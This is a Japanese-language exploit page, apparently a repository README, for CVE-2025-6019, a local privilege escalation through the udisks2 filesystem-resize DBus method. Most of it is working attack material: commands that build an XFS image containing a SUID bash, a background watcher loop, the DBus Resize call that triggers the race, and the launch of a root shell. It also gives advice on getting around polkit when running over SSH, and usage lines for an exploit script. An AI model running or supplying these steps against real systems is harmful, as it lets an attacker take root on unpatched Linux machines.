CVE-2025-6019: UDisks2 ファイルシステムリサイズを介した権限昇格エクスプロイト

脆弱性の詳細

CVE ID: CVE-2025-6019
影響: ローカル権限昇格 (LPE)
影響を受けるシステム: 脆弱な udisks2 バージョンが動作するLinuxシステム
メカニズム: ファイルシステムリサイズ中のレースコンディションにより、誰でも書き込み可能な一時ディレクトリ内のSUIDバイナリへのアクセスが可能になる
主要コンポーネント:
- udisks2 サービス (DBus インターフェース)
- org.freedesktop.UDisks2.Filesystem.Resize メソッド
- /tmp/blockdev* 以下の一時マウントポイント

エクスプロイトのワークフロー

1. 悪意のあるファイルシステムイメージの作成 (攻撃者)

dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount
chmod 04555 ./xfs.mount/bash  # Set SUID bit
umount ./xfs.mount

2. エクスプロイトのトリガー (被害者マシン)

# Verify system capabilities
gdbus call --system --dest org.freedesktop.login1 \
  --object-path /org/freedesktop/login1 \
  --method org.freedesktop.login1.Manager.CanReboot

# Clear interference
killall -KILL gvfs-udisks2-volume-monitor

# Setup loop device
udisksctl loop-setup --file ./xfs.image --no-user-interaction

# Background watcher (executes when SUID binary appears)
while true; do 
  /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break
done 2>/dev/null &

# Trigger vulnerability via DBus
gdbus call --system --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

3. ルートアクセスの取得

/tmp/blockdev*/bash -p  # Launch privileged shell
id
# uid=65534(nobody) gid=65534(nobody) euid=0(root)

重要!

エクスプロイトはlogindセッションでのみ動作します！

スクリプトは、Active=yes かつ Remote=no の logind セッション (例: tty1) から実行する必要があります。
SSH / pts/* / リバースシェルセッションから開始すると、udisksctl loop-setup --no-user-interaction 呼び出しが polkit によって拒否され、PoC は「Failed to create loop device」で終了します。

注意:

SSH経由でエクスプロイトを使用する場合は、一時的な polkit ルールを配置する必要があります

エクスプロイトの使用方法

suidイメージの作成

$ sudo bash exploit.sh create

システムのエクスプロイト

$ bash exploit.sh exploit

POC ビデオ

poc

CVE-2025-6019-exploit

人気